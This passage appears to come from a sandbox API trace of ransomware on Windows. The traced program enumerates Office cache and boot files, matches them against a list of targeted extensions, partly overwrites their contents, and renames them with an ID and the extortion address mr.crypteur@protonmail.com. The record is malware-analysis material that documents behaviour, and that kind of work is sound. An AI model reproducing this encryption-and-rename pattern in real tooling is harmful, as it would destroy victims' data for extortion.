(lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.656] lstrlenW (lpString=".jpg") returned 4 [0081.656] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.656] lstrlenW (lpString=".doc") returned 4 [0081.656] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.656] lstrlenW (lpString=".docx") returned 5 [0081.656] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0081.657] lstrlenW (lpString=".pdf") returned 4 [0081.657] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.657] lstrlenW (lpString=".xls") returned 4 [0081.657] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.657] lstrlenW (lpString=".xlsx") returned 5 [0081.657] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0081.657] lstrlenW (lpString=".ppt") returned 4 [0081.657] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.657] lstrlenW (lpString=".zip") returned 4 [0081.657] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.657] lstrlenW (lpString=".rar") returned 4 [0081.657] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.658] lstrlenW (lpString=".bz2") returned 4 [0081.658] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.658] lstrlenW (lpString=".7z") returned 3 [0081.658] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.658] lstrlenW (lpString=".dbf") returned 4 [0081.658] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.658] lstrlenW (lpString=".1cd") returned 4 [0081.658] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0081.658] lstrlenW (lpString=".jpg") returned 4 [0081.658] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.659] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0081.659] lstrlenW (lpString="Proof.msi") returned 9 [0081.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.144] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=881152) returned 1 [0082.144] CloseHandle (hObject=0x204) returned 1 [0082.145] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0082.145] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0082.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0082.145] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.145] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.147] GetLastError () returned 0x0 [0082.147] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x339fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0083.406] WriteFile (in: hFile=0x20c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x339fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x339fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0083.834] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x339fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.835] WriteFile (in: hFile=0x20c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x339fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x339fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0083.835] SetEndOfFile (hFile=0x20c) returned 1 [0083.835] CloseHandle (hObject=0x20c) Thread: id = 17 os_tid = 0x83c [0059.228] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3664290 [0059.229] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3674298 [0059.230] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604d8 [0059.230] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514378 [0059.230] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604f0 [0059.230] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0059.231] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560508 [0059.231] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560508, Size=0x20) returned 0x514988 [0059.231] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560508 [0059.231] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560508, Size=0x20) returned 0x5149b0 [0059.231] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.231] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.232] Wow64DisableWow64FsRedirection (in: OldValue=0x35eff58 | out: OldValue=0x35eff58*=0x0) returned 1 [0059.232] lstrlenW (lpString="kernel32.dll") returned 12 [0059.232] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514988 | out: hHeap=0x4c0000) returned 1 [0059.232] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.232] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5149b0 | out: hHeap=0x4c0000) returned 1 [0059.232] Sleep (dwMilliseconds=0x64) [0059.519] Sleep (dwMilliseconds=0x64) [0059.943] lstrcmpiW (lpString1=".LOG2", lpString2=".WHY") returned -1 [0059.944] lstrlenW (lpString="BCD.LOG2") returned 8 [0059.944] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.087] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x35eff1c | out: lpFileSize=0x35eff1c*=0) returned 1 [0061.087] CloseHandle (hObject=0x1d0) returned 1 [0061.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.087] lstrlenW (lpString=".doc") returned 4 [0061.087] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0061.088] lstrlenW (lpString=".docx") returned 5 [0061.088] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0061.088] lstrlenW (lpString=".pdf") returned 4 [0061.088] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0061.088] lstrlenW (lpString=".xls") returned 4 [0061.088] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0061.088] lstrlenW (lpString=".xlsx") returned 5 [0061.088] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0061.088] lstrlenW (lpString=".ppt") returned 4 [0061.088] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0061.088] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.088] lstrlenW (lpString=".zip") returned 4 [0061.088] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0061.088] lstrlenW (lpString=".rar") returned 4 [0061.088] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0061.089] lstrlenW (lpString=".bz2") returned 4 [0061.089] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0061.089] lstrlenW (lpString=".7z") returned 3 [0061.089] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0061.089] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.089] lstrlenW (lpString=".dbf") returned 4 [0061.089] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0061.089] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.089] lstrlenW (lpString=".1cd") returned 4 [0061.089] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0061.089] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.089] lstrlenW (lpString=".jpg") returned 4 [0061.089] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0061.090] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.090] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.090] lstrlenW (lpString=".doc") returned 4 [0061.090] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0061.090] lstrlenW (lpString=".docx") returned 5 [0061.090] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0061.090] lstrlenW (lpString=".pdf") returned 4 [0061.090] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0061.090] lstrlenW (lpString=".xls") returned 4 [0061.090] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0061.090] lstrlenW (lpString=".xlsx") returned 5 [0061.090] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0061.091] lstrlenW (lpString=".ppt") returned 4 [0061.091] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0061.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.091] lstrlenW (lpString=".zip") returned 4 [0061.091] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0061.091] lstrlenW (lpString=".rar") returned 4 [0061.091] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0061.091] lstrlenW (lpString=".bz2") returned 4 [0061.091] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0061.091] lstrlenW (lpString=".7z") returned 3 [0061.091] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0061.091] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.091] lstrlenW (lpString=".dbf") returned 4 [0061.091] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0061.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.092] lstrlenW (lpString=".1cd") returned 4 [0061.092] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0061.092] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.092] lstrlenW (lpString=".jpg") returned 4 [0061.092] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0061.093] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0061.093] lstrlenW (lpString="PptLR.cab") returned 9 [0061.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0061.517] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x35eff1c | out: lpFileSize=0x35eff1c*=70361744) returned 1 [0061.517] CloseHandle (hObject=0x17c) returned 1 [0061.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0061.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.517] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0061.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0061.518] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc6c | out: lpNewFilePointer=0x0) returned 1 [0061.519] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0061.519] ReadFile (in: hFile=0x17c, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.536] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0061.536] ReadFile (in: hFile=0x17c, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.558] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.558] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0061.558] ReadFile (in: hFile=0x17c, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.203] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec8 | out: lpNewFilePointer=0x0) returned 1 [0062.203] WriteFile (in: hFile=0x17c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x35efcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0062.877] SetEndOfFile (hFile=0x17c) returned 1 [0062.878] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4026068 [0063.156] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0063.157] WriteFile (in: hFile=0x17c, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.669] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0063.669] WriteFile (in: hFile=0x17c, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.672] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x35efc7c | out: lpNewFilePointer=0x0) returned 1 [0063.672] WriteFile (in: hFile=0x17c, lpBuffer=0x4026068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35efc88, lpOverlapped=0x0 | out: lpBuffer=0x4026068*, lpNumberOfBytesWritten=0x35efc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.676] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4026068 | out: hHeap=0x4c0000) returned 1 [0063.863] CloseHandle (hObject=0x17c) returned 1 [0071.329] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0071.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.330] lstrlenW (lpString=".doc") returned 4 [0071.330] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.330] lstrlenW (lpString=".docx") returned 5 [0071.330] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0071.330] lstrlenW (lpString=".pdf") returned 4 [0071.330] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.331] lstrlenW (lpString=".xls") returned 4 [0071.331] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.331] lstrlenW (lpString=".xlsx") returned 5 [0071.331] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0071.331] lstrlenW (lpString=".ppt") returned 4 [0071.331] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.331] lstrlenW (lpString=".zip") returned 4 [0071.331] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.331] lstrlenW (lpString=".rar") returned 4 [0071.331] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.331] lstrlenW (lpString=".bz2") returned 4 [0071.332] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.332] lstrlenW (lpString=".7z") returned 3 [0071.332] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.332] lstrlenW (lpString=".dbf") returned 4 [0071.332] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.332] lstrlenW (lpString=".1cd") returned 4 [0071.332] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.332] lstrlenW (lpString=".jpg") returned 4 [0071.332] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.333] lstrlenW (lpString=".doc") returned 4 [0071.333] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.333] lstrlenW (lpString=".docx") returned 5 [0071.333] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0071.333] lstrlenW (lpString=".pdf") returned 4 [0071.333] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.333] lstrlenW (lpString=".xls") returned 4 [0071.333] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.333] lstrlenW (lpString=".xlsx") returned 5 [0071.333] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0071.333] lstrlenW (lpString=".ppt") returned 4 [0071.334] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.334] lstrlenW (lpString=".zip") returned 4 [0071.334] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.334] lstrlenW (lpString=".rar") returned 4 [0071.334] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.334] lstrlenW (lpString=".bz2") returned 4 [0071.334] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.334] lstrlenW (lpString=".7z") returned 3 [0071.334] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.334] lstrlenW (lpString=".dbf") returned 4 [0071.334] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.335] lstrlenW (lpString=".1cd") returned 4 [0071.335] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0071.335] lstrlenW (lpString=".jpg") returned 4 [0071.335] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.335] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0071.336] lstrlenW (lpString="WordLR.cab") returned 10 [0071.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0071.336] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x35eff1c | out: lpFileSize=0x35eff1c*=43806141) returned 1 [0071.336] CloseHandle (hObject=0x17c) returned 1 [0071.337] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0071.337] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.337] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0071.338] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0071.338] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc6c | out: lpNewFilePointer=0x0) returned 1 [0071.338] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0071.339] ReadFile (in: hFile=0x17c, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.354] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35efc2c | out: lpNewFilePointer=0x0) returned 1 [0071.354] ReadFile (in: hFile=0x17c, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35efc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35efc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.574] SetFilePointerEx (in: 